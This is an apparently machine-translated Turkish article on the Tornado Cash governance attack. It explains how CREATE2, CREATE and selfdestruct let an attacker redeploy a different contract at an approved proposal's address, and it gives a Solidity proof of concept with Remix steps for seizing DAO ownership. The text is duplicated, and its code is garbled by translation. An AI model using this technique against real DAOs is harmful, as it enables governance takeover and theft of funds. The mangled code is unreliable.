Yaklaşık iki hafta önce (20 Mayıs), tanınmış para birimi karıştırma protokolü Tornado Cash bir yönetim saldırısına uğradı ve bilgisayar korsanları, Tornado Cash'in yönetim sözleşmesinin kontrolünü (Sahibini) ele geçirdi.
Saldırı süreci şu şekildedir: Saldırgan önce "normal görünen" bir teklif gönderir, teklif geçtikten sonra teklifin yürüteceği sözleşmenin adresini yok eder ve bu adres üzerinde yeniden bir saldırı sözleşmesi oluşturur.
Saldırı süreci için SharkTeam'in Tornado.Cash Proposal Attack Prensibi Analizini inceleyebilirsiniz. [1] .
Buradaki saldırının anahtarı, aynı adres üzerinde farklı sözleşmeler dağıtmaktır. Bu nasıl elde edilir?
arkaplan bilgisi
EVM'de sözleşme oluşturmak için iki işlem kodu vardır: CREATE ve CREATE2.
İşlem kodu OLUŞTUR
CREATE işlem kodunu kullanmak için new Token() kullanılırken, oluşturulan sözleşme adresi hesaplama işlevi şöyledir:
Oluşturulan sözleşme adresi yaratıcı adresi + oluşturan Nonce (oluşturulan sözleşme sayısı) tarafından belirlenir, çünkü Nonce her zaman kademeli olarak arttığından, Nonce arttığında oluşturulan sözleşme adresi her zaman farklıdır.
CREATE2 işlem kodu
Bir salt new Token{salt: bytes32()}() eklerken, CREATE2 işlem kodu kullanılır ve oluşturulan sözleşme adresi hesaplama işlevi şu şekildedir:
Oluşturulan sözleşmenin adresi oluşturan adresi + özel salt + dağıtılacak akıllı sözleşmenin bayt kodudur, bu nedenle yalnızca aynı bayt kodu ve aynı salt değeri kullanılabilir Dağıtılabilir aynı sözleşme adresine
Peki aynı adreste farklı sözleşmeler nasıl devreye alınabilir?
Saldırı yöntemi
Saldırgan, şekilde gösterildiği gibi, sözleşmeyi oluşturmak için Create2 ve Create'i birlikte kullanır:
Referans verilen kod:
Önce bir sözleşme Dağıtıcısı dağıtmak için Create2'yi kullanın, ardından hedef sözleşme Teklifini (teklif kullanımı için) oluşturmak için Dağıtıcıda Oluştur'u kullanın. Hem Dağıtıcı hem de Teklif sözleşmelerinin kendi kendini yok etme uygulamaları vardır (kendi kendini yok etme).
Teklif iletildikten sonra, saldırgan Dağıtıcı ve Teklif sözleşmelerini yok eder ve ardından Dağıtıcıyı aynı slat ile yeniden oluşturur.Dağıtıcı bayt kodu aynı kalır ve slat aynıdır, bu nedenle önceki Dağıtıcı sözleşmesi adresi aynı olacaktır. elde edilebilir, ancak bu sırada Dağıtıcı Sözleşmenin durumu temizlenir ve nonce 0'dan başlar, bu nedenle bu nonce kullanılarak başka bir sözleşme Saldırısı oluşturulabilir.
Saldırı kodu örneği
Bu kod:
// SPDX-Lisans-Tanımlayıcı: MIT
pragma sağlamlığı ^0.8.17;
sözleşme DAO'su {
yapı Önerisi {
adres hedefi;
bool onaylandı;
bool;
}
adres genel sahibi = msg.sender;
Teklif[] genel teklifler;
işlev onayla (adres hedefi) harici {
request(msg.sender == sahip, "yetkili değil");
teklifler.push(Teklif({hedef: hedef, onaylandı: doğru, uted: yanlış}));
}
işlev ute(uint256 OfferId) harici ödenecek {
Teklif depolama teklifi = teklifler [proposalId] ;
require(proposal.approved, "onaylanmadı");
require(!proposal.uted, "uted");
teklif.uted = doğru;
(bool tamam, ) = teklif.target.delegatecall(
abi.encodeWithSignature("uteProposal()")
);
require(tamam, "temsilci çağrısı başarısız oldu");
}
}
sözleşme teklifi {
olay Günlüğü (dize mesajı);
işlev uteProposal() harici {
emit Log("Çalıştırılan kod DAO tarafından onaylandı");
}
acil Durdurma işlevi () harici {
selfdestruct(ödenebilir(adres(0));
}
}
sözleşme Saldırısı {
olay Günlüğü (dize mesajı);
kamu sahibine hitap;
işlev uteProposal() harici {
emit Log("Çalıştırılan kod DAO tarafından onaylanmadı :)");
// Örneğin - DAO'nun sahibini saldırgan olarak ayarlayın
sahip = msg.sender;
}
}
sözleşme DağıtıcıDeployer {
olay Günlüğü(adres adresi);
işlev konuşlandırma () harici {
bytes32 salt = keccak256(abi.encode(uint(123)));
adres addr = adres(yeni Dağıtıcı{salt: salt}());
Günlüğü yayar(addr);
}
}
sözleşme Dağıtıcısı {
olay Günlüğü(adres adresi);
işlev konuşlandırmaProposal() harici {
adres adres = adres(yeni Teklif());
Günlüğü yayar(addr);
}
işlev konuşlandırmaAttack() harici {
adres adres = adres(yeni Saldırı());
Günlüğü yayar(addr);
}
işlev öldürme() harici {
selfdestruct(ödenebilir(adres(0));
}
}
Bu kodu, Remix'te kendiniz incelemek için kullanabilirsiniz.
Önce DeployerDeployer'ı devreye alın, Deployer'ı devreye almak için DeployerDeployer.deploy() öğesini çağırın ve ardından Teklifi devreye almak için Deployer.deployProposal() öğesini çağırın.
Teklif teklifi sözleşme adresini aldıktan sonra, DAO'ya bir teklif başlatın.
Deployer ve Proposal'ı yok etmek için sırasıyla Deployer.kill ve Proposal.emergencyStop'u arayın.
Deployer'ı konuşlandırmak için tekrar DeployerDeployer.deploy()'u çağırın, Attack'ı konuşlandırmak için Deployer.deployAttack()'i çağırın ve Attack, önceki Teklif ile tutarlı olacaktır.
DAO.ute yürütülürken, saldırı DAO'nun Sahip iznini almıştır.
View Original
The content is for reference only, not a solicitation or offer. No investment, tax, or legal advice provided. See Disclaimer for more risks disclosure.
Kasırga Yönetim Saldırısı: Aynı Adreste Farklı Sözleşmeler Nasıl Dağıtılır
Yaklaşık iki hafta önce (20 Mayıs), tanınmış para birimi karıştırma protokolü Tornado Cash bir yönetim saldırısına uğradı ve bilgisayar korsanları, Tornado Cash'in yönetim sözleşmesinin kontrolünü (Sahibini) ele geçirdi.
Saldırı süreci şu şekildedir: Saldırgan önce "normal görünen" bir teklif gönderir, teklif geçtikten sonra teklifin yürüteceği sözleşmenin adresini yok eder ve bu adres üzerinde yeniden bir saldırı sözleşmesi oluşturur.
Saldırı süreci için SharkTeam'in Tornado.Cash Proposal Attack Prensibi Analizini inceleyebilirsiniz. [1] .
Buradaki saldırının anahtarı, aynı adres üzerinde farklı sözleşmeler dağıtmaktır. Bu nasıl elde edilir?
arkaplan bilgisi
EVM'de sözleşme oluşturmak için iki işlem kodu vardır: CREATE ve CREATE2.
İşlem kodu OLUŞTUR
CREATE işlem kodunu kullanmak için new Token() kullanılırken, oluşturulan sözleşme adresi hesaplama işlevi şöyledir:
adres tokenAddr = bytes20(keccak256(senderAddress, nonce))
Oluşturulan sözleşme adresi yaratıcı adresi + oluşturan Nonce (oluşturulan sözleşme sayısı) tarafından belirlenir, çünkü Nonce her zaman kademeli olarak arttığından, Nonce arttığında oluşturulan sözleşme adresi her zaman farklıdır.
CREATE2 işlem kodu
Bir salt new Token{salt: bytes32()}() eklerken, CREATE2 işlem kodu kullanılır ve oluşturulan sözleşme adresi hesaplama işlevi şu şekildedir:
adres tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))
Oluşturulan sözleşmenin adresi oluşturan adresi + özel salt + dağıtılacak akıllı sözleşmenin bayt kodudur, bu nedenle yalnızca aynı bayt kodu ve aynı salt değeri kullanılabilir Dağıtılabilir aynı sözleşme adresine
Peki aynı adreste farklı sözleşmeler nasıl devreye alınabilir?
Saldırı yöntemi
Saldırgan, şekilde gösterildiği gibi, sözleşmeyi oluşturmak için Create2 ve Create'i birlikte kullanır:
Önce bir sözleşme Dağıtıcısı dağıtmak için Create2'yi kullanın, ardından hedef sözleşme Teklifini (teklif kullanımı için) oluşturmak için Dağıtıcıda Oluştur'u kullanın. Hem Dağıtıcı hem de Teklif sözleşmelerinin kendi kendini yok etme uygulamaları vardır (kendi kendini yok etme).
Teklif iletildikten sonra, saldırgan Dağıtıcı ve Teklif sözleşmelerini yok eder ve ardından Dağıtıcıyı aynı slat ile yeniden oluşturur.Dağıtıcı bayt kodu aynı kalır ve slat aynıdır, bu nedenle önceki Dağıtıcı sözleşmesi adresi aynı olacaktır. elde edilebilir, ancak bu sırada Dağıtıcı Sözleşmenin durumu temizlenir ve nonce 0'dan başlar, bu nedenle bu nonce kullanılarak başka bir sözleşme Saldırısı oluşturulabilir.
Saldırı kodu örneği
Bu kod:
// SPDX-Lisans-Tanımlayıcı: MIT pragma sağlamlığı ^0.8.17; sözleşme DAO'su { yapı Önerisi { adres hedefi; bool onaylandı; bool; } adres genel sahibi = msg.sender; Teklif[] genel teklifler; işlev onayla (adres hedefi) harici { request(msg.sender == sahip, "yetkili değil"); teklifler.push(Teklif({hedef: hedef, onaylandı: doğru, uted: yanlış})); } işlev ute(uint256 OfferId) harici ödenecek { Teklif depolama teklifi = teklifler [proposalId] ; require(proposal.approved, "onaylanmadı"); require(!proposal.uted, "uted"); teklif.uted = doğru; (bool tamam, ) = teklif.target.delegatecall( abi.encodeWithSignature("uteProposal()") ); require(tamam, "temsilci çağrısı başarısız oldu"); } } sözleşme teklifi { olay Günlüğü (dize mesajı); işlev uteProposal() harici { emit Log("Çalıştırılan kod DAO tarafından onaylandı"); } acil Durdurma işlevi () harici { selfdestruct(ödenebilir(adres(0)); } } sözleşme Saldırısı { olay Günlüğü (dize mesajı); kamu sahibine hitap; işlev uteProposal() harici { emit Log("Çalıştırılan kod DAO tarafından onaylanmadı :)"); // Örneğin - DAO'nun sahibini saldırgan olarak ayarlayın sahip = msg.sender; } } sözleşme DağıtıcıDeployer { olay Günlüğü(adres adresi); işlev konuşlandırma () harici { bytes32 salt = keccak256(abi.encode(uint(123))); adres addr = adres(yeni Dağıtıcı{salt: salt}()); Günlüğü yayar(addr); } } sözleşme Dağıtıcısı { olay Günlüğü(adres adresi); işlev konuşlandırmaProposal() harici { adres adres = adres(yeni Teklif()); Günlüğü yayar(addr); } işlev konuşlandırmaAttack() harici { adres adres = adres(yeni Saldırı()); Günlüğü yayar(addr); } işlev öldürme() harici { selfdestruct(ödenebilir(adres(0)); } }
Bu kodu, Remix'te kendiniz incelemek için kullanabilirsiniz.